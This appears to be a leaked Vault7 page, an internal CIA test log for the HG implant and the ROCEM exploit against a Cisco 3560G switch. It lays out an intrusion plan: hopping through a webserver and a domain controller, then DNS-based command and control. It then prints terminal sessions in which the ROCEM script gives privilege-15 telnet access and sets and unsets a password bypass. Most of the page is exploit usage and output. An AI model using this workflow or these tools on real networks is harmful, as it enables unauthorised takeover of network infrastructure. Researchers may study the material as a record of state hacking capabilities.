Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
HG v3.1.3-Adverse-01 Testing
HG was delivered for JQJADVERSE on 9/8/15 for the Cisco 3560G. Testing scope will include testing ROCEM v1.2 for ADVERSE, delivered to Test Range on 9/15/15, as well as testing HG Base functionality, DNSDomain Name System Checkin capability, SMITE and on-device OPSEC since this will be a persistent delivery.
CONOP will be
- Flux into network through three different hosts - first a webserver, then a DC, then to a host that is connected to an adjacent 2960 on a management subnet
- Trigger will be sent through flux, and CTCounter Terrorism session will be established back through flux initially
- An initial CTCounter Terrorism session will be established and DNSDomain Name System Checkin capability verified.
- Subsequent comms with HG will be via DNSDomain Name System checkin.
- DNS Checkin has been preconfigured with capability to execute SMITE
Testing Summary
Testing Notes
Information about target:
- Hardware is WS-C3560G-24TS-S (DUT is WS-C3560G-24PS-E)
- Software is c3560-ipbase-mz.122-35.SE5
- BOOTLDR: C3560 Boot Loader (C3560-HBOOT-M) Version 12.2(25r)SEE4, RELEASE SOFTWARE (fc1) (DUT is Version 12.2(25r)SE1)
VMs Used
- Adverse-Flux1 - XX.XX.XXX.XX (IR-DATAK-20020718[IR])/192.168.0.21
- Adverse-Flux2 - 192.168.0.11
- Adverse-Flux3 - 192.168.221.40
- Adverse-ICON-Debian8 - 172.20.12.34
- Adverse-Proxy - XX.XX.XXX.X (IR-DATAK-20020718[IR])/192.168.0.4
- Adverse-Seeds - 192.168.211.10
- BIND-DNSCheckin-UbuntuServer - 4.4.4.3
- Smoke Test of ROCEM
- Set up the Flux nodes to hop through Flux1 -> Flux2 -> Flux3.
- Added a route on ICON VMVirtual Machine for 192.168.0.0/24 to point to the Flux tunnel.
- Started ROCEM interactive session - successful:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Interactive
****************************************Proceed? (y/n)y
Trying 127.0.0.1...
[*] Attempting connection to host 192.168.0.254:23
Connected to 127.0.0.1.
Escape character is '^]'.
[+] Connection established
[*] Starting interactive sessionUser Access Verification
Password:
MLS-Sth#MLS-Sth# show priv
Current privilege level is 15
MLS-Sth#show users
Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 192.168.221.40Interface User Mode Idle Peer Address
MLS-Sth#exit
Connection closed by foreign host.
[+] Unsetting
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
[*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# Set/Unset ROCEM - Successful
-
oot@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Set
****************************************Proceed? (y/n)y
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
[*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
Trying 192.168.0.254...
Connected to 192.168.0.254.
Escape character is '^]'.MLS-Sth#exit
Connection closed by foreign host.
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -u 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Unset
****************************************Proceed? (y/n)y
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
[*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
Trying 192.168.0.254...
Connected to 192.168.0.254.
Escape character is '^]'.
User Access VerificationPassword:
telnet> q
Connection closed.
root@debian:/home/user1/ops/adverse/adverse-1r/rocem#